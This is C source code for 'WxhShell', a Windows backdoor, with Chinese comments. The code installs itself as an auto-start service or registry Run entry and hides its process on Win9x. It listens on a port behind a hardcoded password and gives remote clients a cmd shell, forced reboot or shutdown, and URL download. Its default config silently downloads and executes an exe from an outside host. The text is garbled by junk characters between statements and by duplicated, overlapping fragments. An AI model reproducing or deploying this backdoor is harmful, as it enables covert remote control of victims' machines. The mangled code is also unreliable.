;Q if(NULL == hInst ) return 0; f"SD/]q- m\r@@! g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ![_*(8v}S g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \T :i{.i NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6BbGA*%{ ~8P!XAU56% if (!NtQueryInformationProcess) return 0; z(Pe,zES .e=:RkI, hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ADP%QTdqFJ if(!hProcess) return 0; Et/\xL D rHVG if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *%fi/bimG v>Yb/{A CloseHandle(hProcess); <[\`qX v|%Z+w hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '~[d=fwH if(hProcess==NULL) return 0; e2t-4}
ww *|>d HMODULE hMod; dDGgvi|[Mz char procName[255]; EwC{R` unsigned long cbNeeded; 33ef/MElD$ 6dN7_v) if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -vR5BMy= '\ey<}?5V CloseHandle(hProcess); A1D^a, 9m<jcxla$ if(strstr(procName,"services")) return 1; // 以服务启动 PHXZ=A+ &cHV7 return 0; // 注册表启动 o9%)D<4M } bM!_e3ik; Raxrb=7 // 主模块 iAa.}CI,zB int StartWxhshell(LPSTR lpCmdLine) gVv>9W(' { SmdjyK1~8 SOCKET wsl; =`:K{loxq BOOL val=TRUE; 1V4s<m># int port=0; -tHU6s, struct sockaddr_in door; &U
raUl oe
|)oTv if(wscfg.ws_autoins) Install(); =2zJ3&9 V4P;
5[ port=atoi(lpCmdLine); , 5kKimTt =Ja] T~0A if(port<=0) port=wscfg.ws_port; (\a]"g,]v W<$Z=(_v WSADATA data; Iw&vTU=2 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {fF3/tL ?NR A:t(} if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; wF,UE_ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iH@yCNE" door.sin_family = AF_INET; VsgE!/>1 door.sin_addr.s_addr = inet_addr("127.0.0.1"); X4AyX.p door.sin_port = htons(port); ZP*q4: sCi s4gX.] if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )5%'.P> closesocket(wsl); 9{}1r2xW return 1; wEE\+3b) } *:t|qgJI#+ ?ROqn6k&c if(listen(wsl,2) == INVALID_SOCKET) { RwPN gRF closesocket(wsl); &8>IeK{I return 1; N#7QzB9] } #PanfYR Wxhshell(wsl);
lBhLf@ WSACleanup(); 8V)^R(\; r>" return 0; RGg(%. n'01Hh`0 } oA7;.:3 C>$E%=h+_ // 以NT服务方式启动 2H6,'JK@F VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "
'6;/N { qg!|l7e DWORD status = 0; ~j5x+yC DWORD specificError = 0xfffffff; m~Bl*`~M }L3 oR serviceStatus.dwServiceType = SERVICE_WIN32; ]Nl=wZ#` serviceStatus.dwCurrentState = SERVICE_START_PENDING; 2viM)+ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :Jy'#c serviceStatus.dwWin32ExitCode = 0; C] 9p5Hs serviceStatus.dwServiceSpecificExitCode = 0; *R3f{/DK serviceStatus.dwCheckPoint = 0; PBxCx3a{ serviceStatus.dwWaitHint = 0; 6s\Kt3= .k9{Yv0 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7J|VD#DE$Y if (hServiceStatusHandle==0) return; 0-|byAh /yF QeE status = GetLastError(); 2Sp=rI if (status!=NO_ERROR) pN9A{v( { ;SaX;!`39+ serviceStatus.dwCurrentState = SERVICE_STOPPED; Y&_&s7z serviceStatus.dwCheckPoint = 0; NqEA4C serviceStatus.dwWaitHint = 0; dBe`p5Z serviceStatus.dwWin32ExitCode = status; oiyzHx serviceStatus.dwServiceSpecificExitCode = specificError; A~+S1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); s]mY*@a% return; dd%h67J2< } :
G`hm{ DrBUe'RH:M serviceStatus.dwCurrentState = SERVICE_RUNNING; \ZhfgE8{% serviceStatus.dwCheckPoint = 0; ~r$jza~o( serviceStatus.dwWaitHint = 0; ]Xf% ,iu if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UIAj] } x-<)\L& gV`=jAE_ // 处理NT服务事件,比如:启动、停止 [],1lRYI9_ VOID WINAPI NTServiceHandler(DWORD fdwControl) +|@rD/I6 { l)w Hl%p switch(fdwControl) J.dLPKU;- { t|!j2<e case SERVICE_CONTROL_STOP: z=_Ef3`M serviceStatus.dwWin32ExitCode = 0; S:q3QgU=X serviceStatus.dwCurrentState = SERVICE_STOPPED; .G(llA} serviceStatus.dwCheckPoint = 0; f0<%&2ym serviceStatus.dwWaitHint = 0; ]oV{t<0a { QgD g}\P SetServiceStatus(hServiceStatusHandle, &serviceStatus); P=+nB*hG } )aao[_ZS return; H_Kj7(=&> case SERVICE_CONTROL_PAUSE: ?wF'<kEH serviceStatus.dwCurrentState = SERVICE_PAUSED; |),'9 break; +sx 8t case SERVICE_CONTROL_CONTINUE: M=*bh5t%] serviceStatus.dwCurrentState = SERVICE_RUNNING; x^y" < break; qYf |Gv case SERVICE_CONTROL_INTERROGATE: "/6:6`J break; =w5O&( }; U_$qi SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZA9sTc[
g } !>`N$-U X drd/ jH& // 标准应用程序主函数 R:AA,^Z int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1>Dl\czn { 5"]~oPK P"?FnTbv[ // 获取操作系统版本 7Wa?$6d OsIsNt=GetOsVer(); [NIlbjYH GetModuleFileName(NULL,ExeFile,MAX_PATH); ELjK0pE}- #D9e$E(J^ // 从命令行安装 2gjGeM if(strpbrk(lpCmdLine,"iI")) Install(); zrv#Xa!O\ ^6P3% // 下载执行文件 6ubL1K if(wscfg.ws_downexe) { fr}Eaa-{^ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X _G| hx WinExec(wscfg.ws_filenam,SW_HIDE); j:&4-K};Z` } 'K*AV7>E OxtOd\0$ if(!OsIsNt) { l|+BC // 如果时win9x,隐藏进程并且设置为注册表启动 }Jh: 8BNuP HideProc(); F@!Td(r2 StartWxhshell(lpCmdLine); qG/fE'(j& } Hiv!BV| else w pt='( if(StartFromService()) %?hsoj&k // 以服务方式启动 m8JR@!t7 StartServiceCtrlDispatcher(DispatchTable); (j"( else Rek
-`ki5F // 普通方式启动 "ZHtR/; StartWxhshell(lpCmdLine); \[>9UC% FvuGup`w return 0; bo=ZM9 } !.<T"8BUpv LrV{j?2@ mNAY%Wn6k 9
ASb>A2~ =========================================== #4h+j%y[H p|/j4@-h NHgjRPz" ,chf~-d dj&}Gedy ZC4*{ " 3q:{1rc #Hh^3N #include <stdio.h> HygY>s+3[
#include <string.h> DtWwGC #include <windows.h> 0g<K [mPr7 #include <winsock2.h> uw7{>9 #include <winsvc.h> +wk`;0s A #include <urlmon.h> N_Af3R1_ ^, i>'T #pragma comment (lib, "Ws2_32.lib") Na,_ #pragma comment (lib, "urlmon.lib") `C+HE$B ixh47M #define MAX_USER 100 // 最大客户端连接数 O0*e)i8 #define BUF_SOCK 200 // sock buffer YEx)"t8E #define KEY_BUFF 255 // 输入 buffer "$5\, `}no9$l~ #define REBOOT 0 // 重启 Hj1
EGCA #define SHUTDOWN 1 // 关机 7j i=E";.w rspayO<]3 #define DEF_PORT 5000 // 监听端口 ]AS"z< /Go
K}W} #define REG_LEN 16 // 注册表键长度 Uo_tUp_Q #define SVC_LEN 80 // NT服务名长度 W:VP1 : jN+N(pIi.o // 从dll定义API 68'>Zbelb typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7C?.L70ZY typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .2\0~x"" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4oXb Pr> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TE-;X,gDV_ )I@L+ // wxhshell配置信息 $H'X V"<o struct WSCFG { cQZ652F9 int ws_port; // 监听端口 $\Tkhq< char ws_passstr[REG_LEN]; // 口令 VnJMmMM int ws_autoins; // 安装标记, 1=yes 0=no h?yG<>wI char ws_regname[REG_LEN]; // 注册表键名 2vKx]w char ws_svcname[REG_LEN]; // 服务名 >1irSUj"~ char ws_svcdisp[SVC_LEN]; // 服务显示名 A~{f/%8D char ws_svcdesc[SVC_LEN]; // 服务描述信息 AzpV4(:an. char ws_passmsg[SVC_LEN]; // 密码输入提示信息 snp v z1iS int ws_downexe; // 下载执行标记, 1=yes 0=no d2ENm%q*PX char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [{<dbW\ 9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6a>H|"PNE W*xX{$NL }; 4R ) |->" <3O T>E[ // default Wxhshell configuration ;+I4&VieK struct WSCFG wscfg={DEF_PORT, VAYb=4lt "xuhuanlingzhe", xwzT#DXGJ 1, }Ewo_P&` "Wxhshell", SLk2X;c]o "Wxhshell", )3z]f2 "WxhShell Service", dyFKxn`, "Wrsky Windows CmdShell Service", FX,$_:f6Y "Please Input Your Password: ", _8h8Wtif 1, bn 4
&O "http://www.wrsky.com/wxhshell.exe", 8]0:1
{@ "Wxhshell.exe" qGPb }; %bX0 mN "t&{yBQ0u // 消息定义模块 KLt%[$CTi char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ij&p4 char *msg_ws_prompt="\n\r? for help\n\r#>"; 2N6=8Xy5K char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /'>;JF char *msg_ws_ext="\n\rExit."; !Zw f
397 char *msg_ws_end="\n\rQuit."; ]~a_d) char *msg_ws_boot="\n\rReboot..."; Inuc(_I char *msg_ws_poff="\n\rShutdown..."; ?Nl"sVCo char *msg_ws_down="\n\rSave to "; >e8JK*Blz bv\ A,+ char *msg_ws_err="\n\rErr!"; Zy wK/D char *msg_ws_ok="\n\rOK!"; IB7tAG8 T }uE0Z, char ExeFile[MAX_PATH]; ]u&dJL int nUser = 0; ,bSVVT-b HANDLE handles[MAX_USER]; O5 7jz= r int OsIsNt; K a r~I j=.g:&r) SERVICE_STATUS serviceStatus; iWXMKu SERVICE_STATUS_HANDLE hServiceStatusHandle; ^w6eWzI 5urE // 函数声明 Y%vP#>h int Install(void); ixOw=!@ int Uninstall(void); r2G*!qK*1 int DownloadFile(char *sURL, SOCKET wsh); Z[,`"}}hv= int Boot(int flag); bBE^^9G=Z void HideProc(void); }g,X5v?W int GetOsVer(void); -Q`Cq|s int Wxhshell(SOCKET wsl); iAz UaF void TalkWithClient(void *cs); y=o=1( int CmdShell(SOCKET sock); JY4_v>Aob int StartFromService(void); *=^[VV! int StartWxhshell(LPSTR lpCmdLine); oa9)Dv f
Lk"tW VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~{
.,8jE VOID WINAPI NTServiceHandler( DWORD fdwControl ); [w%#<5h W:ixzpQ // 数据结构和表定义 pa]
TeH SERVICE_TABLE_ENTRY DispatchTable[] = -v*x V;[ { \FI^Vk {wscfg.ws_svcname, NTServiceMain}, ^~I @
spR4 {NULL, NULL} Z oTNm }; ur xqek w?ai,Pw // 自我安装 ~&[u]u[ int Install(void) 5K(n3?1z) { ;2W2MZ!TF char svExeFile[MAX_PATH]; RUrymkHFB HKEY key; $u,GVq~ strcpy(svExeFile,ExeFile); f
sX;Nj] 0e9A+&r // 如果是win9x系统,修改注册表设为自启动 w:tGPort if(!OsIsNt) { 3Bd4
C]E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dt.-C_MO RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zlX!xqHj RegCloseKey(key); 59qnEIi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GHrBK& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |2UauTp5yK RegCloseKey(key); mSj76'L# return 0; /lUk5g^j } /Y ^7Rl } c20|Cx2m } .5k^f5a else { xDe47&qKM ]EX--d<_` // 如果是NT以上系统,安装为系统服务 7+]F^
6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B=x~L if (schSCManager!=0) 2vXGO|W { uk{J@&F SC_HANDLE schService = CreateService y%g`FC ( ;G$)MS'nB schSCManager, 9l=Fv6 wscfg.ws_svcname, gx&7 3f<J wscfg.ws_svcdisp, #y`k$20" SERVICE_ALL_ACCESS, I_L;T SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j)<[j&OWw SERVICE_AUTO_START, p
d%LL?O SERVICE_ERROR_NORMAL, v7$9QVze svExeFile, ^AH-+#5 NULL, wO\!xW: NULL, W) NULL, *%f3rvt7@) NULL, 'v`~(9'Rcj NULL G32_FQ$b ); n=SzF(S[M if (schService!=0) :6sGX p { 'XME?H:q a CloseServiceHandle(schService); z7$}#)Z7 CloseServiceHandle(schSCManager); g BH?l/ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <e^6.!;W strcat(svExeFile,wscfg.ws_svcname); bAdAp W if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |<2JQ[] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iqlVlm>E RegCloseKey(key); IM|Se4;x return 0; @%keTTZ } t;~-_{ } FrgV@4'2G CloseServiceHandle(schSCManager); kt5YgW } $/y%[ . } 7@\GU].2 #s/{u
RYQ return 1; hG[4O3jo\ } f#2#g%x /TG|
B Eb // 自我卸载 2w;G4 int Uninstall(void) +;5Wp$M\ { 5D>BV*" HKEY key; @<%oIE~]F "Vq@bNtu+ if(!OsIsNt) { y>&VtN{E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )<tzm'Rc RegDeleteValue(key,wscfg.ws_regname); 8:BQHYeJK RegCloseKey(key); oO}>i0ax* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X$ejy/+. RegDeleteValue(key,wscfg.ws_regname); s:G[Em1 RegCloseKey(key); gx&\Kw6HM return 0; N_*u5mfQX } TosPk(o( } tgS+"ugl } _;%.1H{N else { R\i]O ENpaaW@!Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4E,hcu if (schSCManager!=0) re2Fv:4{ { c@)p Ki#W SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L)j]~^P$- if (schService!=0) CD$u=E
] { /7S-|%1 if(DeleteService(schService)!=0) { oa?!50d CloseServiceHandle(schService); 6Eij>{v CloseServiceHandle(schSCManager); FDZeIj9uF return 0; -+`az)lrp } /,-h%gj CloseServiceHandle(schService); knI*- } #.RG1-L CloseServiceHandle(schSCManager); QGu7D #%| } n^3NA|A } |
3hT { nA|gQibA return 1; kwDjK" } 1NB2y[ n+:m_2T // 从指定url下载文件 ?T$*5d int DownloadFile(char *sURL, SOCKET wsh) :H~UyrN { 5n-9#J$ HRESULT hr; R*zBnHAb! char seps[]= "/"; X=-gAutfE= char *token; ze-TBh/ char *file; JsHxQ0Tw char myURL[MAX_PATH]; ^/ULh,w!fP char myFILE[MAX_PATH];
)@sJTAK iDyMWlV strcpy(myURL,sURL); :%+^} token=strtok(myURL,seps); Ki&WS<,0Z while(token!=NULL) `bBfNI?3d* { mRg ,A\ file=token; \pT^Zhp) token=strtok(NULL,seps); $l0eI } 58a)&s[+ Vq? 8u/ GetCurrentDirectory(MAX_PATH,myFILE); H'j_<R N strcat(myFILE, "\\"); 401/33yBJ strcat(myFILE, file); 60.[t9pk6 send(wsh,myFILE,strlen(myFILE),0); nph7&[xQI send(wsh,"...",3,0); EIy]qAE:f hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 35-DnTv if(hr==S_OK) H-nFsJ(R!c return 0; EN5G:hD else RPofa+ return 1; 4O5n6~24 \#IJ=+z } d&$.jk8 2 Q6e'0EIKC // 系统电源模块 (25^r int Boot(int flag) -&f]Xu { EU&6Tg HANDLE hToken; ]x5(bnWx TOKEN_PRIVILEGES tkp; GgZEg
?@ qcpG}o+&D if(OsIsNt) { }R?v"6aBS OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lN*1zM<6; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \(3Qqbw tkp.PrivilegeCount = 1; P22y5z~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DKaG?Y,*p AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )U"D4j*p if(flag==REBOOT) { {d*qlztO if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~(*co[_ return 0; 6qmo
ZAg } BIHHRCe:@n else { \]~kyy if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ePPp)= return 0; 2\$WP-)% } l>[QrRXiSN } ouu-wQ|(mM else { :_I
wc= if(flag==REBOOT) { a{%52B" if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &)fhlp5 return 0; Sl+jduc } ;N> {1 else { *h5ld P if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Occ8Hk/l. return 0; Aspj*CDu } 0|wKR|zW } 8) ebXc l{D,O?`Av return 1; G*{ u(x( } f"Vm'0r b@Mng6R // win9x进程隐藏模块 zd*W5~xKg void HideProc(void) nJM9c[Ou^H { y<Z#my$`|n (d GM;Dq8 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >uqS if ( hKernel != NULL ) L`VQ{|&3V { RfVV(X pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nfCd*f ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zei9,^
C FreeLibrary(hKernel); b|V4Fp } D ^T7pO BSq;RG( return; `hQ!*f6 } }GU6Q|s[u[ sQ3ayB` // 获取操作系统版本 S:B-nI int GetOsVer(void) ngH~4HyT { c?3F9w# OSVERSIONINFO winfo; ck4T#g;= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9DP75 ti GetVersionEx(&winfo); wYS
KtG~/S if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "YdDaj</ return 1; >sl1 cC else =+sIX3 return 0; 5k7(! } xhVq JQvQm|\nc // 客户端句柄模块 NXG}0`QVT int Wxhshell(SOCKET wsl) OrKT~JQVC& { 6jy n,GU SOCKET wsh; j}x
O34 struct sockaddr_in client; e>i8 =U`; DWORD myID; {1-CfQ0
8 =QxE-)v while(nUser<MAX_USER) ~%!U,)- { GXvo't@N int nSize=sizeof(client); f'?6D+Yw~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9 %.<V_$ if(wsh==INVALID_SOCKET) return 1; yZPFo K:mL%o2J handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :QhEu%e if(handles[nUser]==0) "'p+qbT8 closesocket(wsh); }s)&/~6 else =~2 Uv>YG nUser++; j/` qd(=B } !kk %;XSZ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gm%bxr@X~ 3lrZ-k+S{ return 0; >|o9ggL`J5 } & b^*N5<Z B,na // 关闭 socket x2IU PM void CloseIt(SOCKET wsh) JI#Enh!Lv { L|xen*O closesocket(wsh); &.bR1wX nUser--; m^u&g&^ ExitThread(0); ~9ls~$+* } F8r455_W" ?0)XS< // 客户端请求句柄 < $?}^
0R void TalkWithClient(void *cs) @Y<ZT;J { >*Z{@1*h f8_UIdM7 SOCKET wsh=(SOCKET)cs; FSZoT! char pwd[SVC_LEN]; Rb>RjHo S char cmd[KEY_BUFF]; %JH_Nw.P char chr[1]; sN`o_q{Q int i,j; ';T5[l, ]TZWFL- while (nUser < MAX_USER) { u:u 7|\q GbrPtu2{@V if(wscfg.ws_passstr) { ~9'4w-Sy if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{{)[Ap) //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
*/dsMa //ZeroMemory(pwd,KEY_BUFF); `]I5WTt*X i=0; N(/<qv while(i<SVC_LEN) { 5Yibv6:3a KJ{F,fr+v // 设置超时 4JQ`&:?r fd_set FdRead; ydFhw}1> struct timeval TimeOut; 3f.Gog FD_ZERO(&FdRead); byxehJ6[V FD_SET(wsh,&FdRead); 98BBsjkd TimeOut.tv_sec=8; #yRA.; TimeOut.tv_usec=0; ?)QBJ9F int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W[Ew6)1T if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AT'$VCYC( +jZg%$Q!# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,(kXF: pwd=chr[0]; {-]HYk if(chr[0]==0xd || chr[0]==0xa) { FveK|- pwd=0; bFxJ| break;
ex!wY } G y7x? i++; Vwg|? sG_ } `}Zbfe~ 1,!\7@<CT // 如果是非法用户,关闭 socket yl+)I if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8PVs!?Nne } W>s9Mp U;dt-3?=.h send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2o}G<7r send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nc Mq>n ,
p=8tf# while(1) { IMw)X0z %1+~(1P ZeroMemory(cmd,KEY_BUFF); N}<U[nh' .wOLi Ms // 自动支持客户端 telnet标准 JkDZl?x5 j=0; 'Mhdw} while(j<KEY_BUFF) { W_n.V" hN if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G9":z| cmd[j]=chr[0]; f]65iE?x if(chr[0]==0xa || chr[0]==0xd) { ewPd hCK cmd[j]=0; r&~iEO|?\ break; 9NXiCP9A } d?X6x j++;
{h+E&u[zL } 2s ,n!u
Fd Sq]1SW3
// 下载文件 \@"
.
GM% if(strstr(cmd,"http://")) { XFAt\g send(wsh,msg_ws_down,strlen(msg_ws_down),0); BjJ gQ`X if(DownloadFile(cmd,wsh)) j?) `VLZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4J|t} else Jm,X~Si send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aT1W]i } `l#$l3v+ else { m:<3d]L d"a7{~l switch(cmd[0]) { 7%}}m&A7h uy\+#:44d // 帮助 :2d9ZDyD case '?': { 5F?g6?j{ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UimZ/\r break; #e|kA&+8M } q)i(wEdUZ // 安装 `g1~ya(MC case 'i': { e(N <Mf if(Install()) [cs8/Q8+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); D4-U[l+K> else j2n@8sCSO send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $X]v;B)J| break; dAt[i\S } $^ 3 f}IzA // 卸载 \~1+T case 'r': { x" T^>Q if(Uninstall()) ;S j* { send(wsh,msg_ws_err,strlen(msg_ws_err),0); <p
.[E]a2_ else q0<`XDD` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ww4G break; #<3\}*/ } [!
BH3J! // 显示 wxhshell 所在路径 y~ LVK8 case 'p': { go5!zSs char svExeFile[MAX_PATH]; !d_A? q'hN strcpy(svExeFile,"\n\r"); [ RuY' strcat(svExeFile,ExeFile); 4!|ar?Zy send(wsh,svExeFile,strlen(svExeFile),0); wUndNE
break; [i _x
1 } 'M/&bu r // 重启 WRM}gWv* case 'b': { mYX) =B{ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ks4
,2f,2 if(Boot(REBOOT)) _=#mmZkq send(wsh,msg_ws_err,strlen(msg_ws_err),0); H0 t1& : else { voE c'JET closesocket(wsh); nX'.'3 ExitThread(0);
`SrVMb( } 5 <poN)" break; hI0l2OE } !}?]&[N= // 关机 471}'3 case 'd': { p10->BBg send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +>j_[O5Y if(Boot(SHUTDOWN)) GYO"1PM send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2t<CAKBB
else { 5N0H^ closesocket(wsh); O8%/Id ExitThread(0);
KW\`&ki } Jjv&@a} break; H#K|SSqY? } ,H8Pmn? // 获取shell 7
pV3#fQ case 's': { C.O-iBVe# CmdShell(wsh); 10(N|2'q closesocket(wsh); uQCS%|8C ExitThread(0); ]LjW,b" break; *v&RGY[> } PH.v3
3K // 退出 Zlhr0itf case 'x': { aoN[mV' send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l]gfT& CloseIt(wsh); sXA=KD8 break; /DCUwg=0 } T=vI'"w // 离开 N{0 D <" case 'q': { XT)@)c7j send(wsh,msg_ws_end,strlen(msg_ws_end),0); `KN{0<Ne closesocket(wsh); %BJ V$tO WSACleanup(); "PPwJ/L( exit(1); 2cL<` break; \Uiw:
, } +FI]0r } $v,_8{ ! } xp=
]J UQ n7vi@^lf( // 提示信息 V!p;ME if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R4?/7 } ja2LXM } .vg;K@{ oVdmgmT.Y return; <>cajQ@ } G6FknYj DwPl,@T_i\ // shell模块句柄 qmhHHFjQ int CmdShell(SOCKET sock) Em;zi.Y+V { .3#Tw'% G STARTUPINFO si; iM-@?!WF ZeroMemory(&si,sizeof(si)); /OEj]DNY si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >Uz3F7nHi si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P:G^@B3^ PROCESS_INFORMATION ProcessInfo; o/&Q^^Xj^~ char cmdline[]="cmd"; G"]'`2.m CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *=rl<?tX return 0; @L0.Z1 ). } sqhM[u
k }QK-@T@4< // 自身启动模式 o 0B`~7( int StartFromService(void) gO29:L[t { /1YqDK0 typedef struct W>.qGK|l { ==&=3 DWORD ExitStatus; ]'Bz%[C) DWORD PebBaseAddress; L]Uy+[gg DWORD AffinityMask; `J;_!~: DWORD BasePriority; x(A.^Yz ULONG UniqueProcessId; GKX#-zsh79 ULONG InheritedFromUniqueProcessId; IIzdCa{l } PROCESS_BASIC_INFORMATION; n=`UhC EG,RlmcPp PROCNTQSIP NtQueryInformationProcess; z[th@!3 B|tP3< static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cOcm9m# static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5=eGiF;0\ Q/':<QY HANDLE hProcess; :EZTJu PROCESS_BASIC_INFORMATION pbi; ne%ckW?ks Gmc0yRN HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /J^yOR9 if(NULL == hInst ) return 0; O3S_P]{*ny mU;TB%#) g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8d-_'MXk3 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dbw`E"g NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~%cbp&s*/q E$gcd#rT if (!NtQueryInformationProcess) return 0; (fC [Y b1-JnEc hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h-V5&em"_ if(!hProcess) return 0; I<DS07K ws@;2?%A if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "!2Fy-Y \\_Qv CloseHandle(hProcess); $%LjIeVA5 X=lOwPvP hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |VIBSty2d if(hProcess==NULL) return 0; k z<We/ VgOj#Z?K HMODULE hMod; ds`a6>746 char procName[255]; bV}43zI. unsigned long cbNeeded; vI4St; t ;(kSg. if(g_pEnumProcessModules(hProcess, 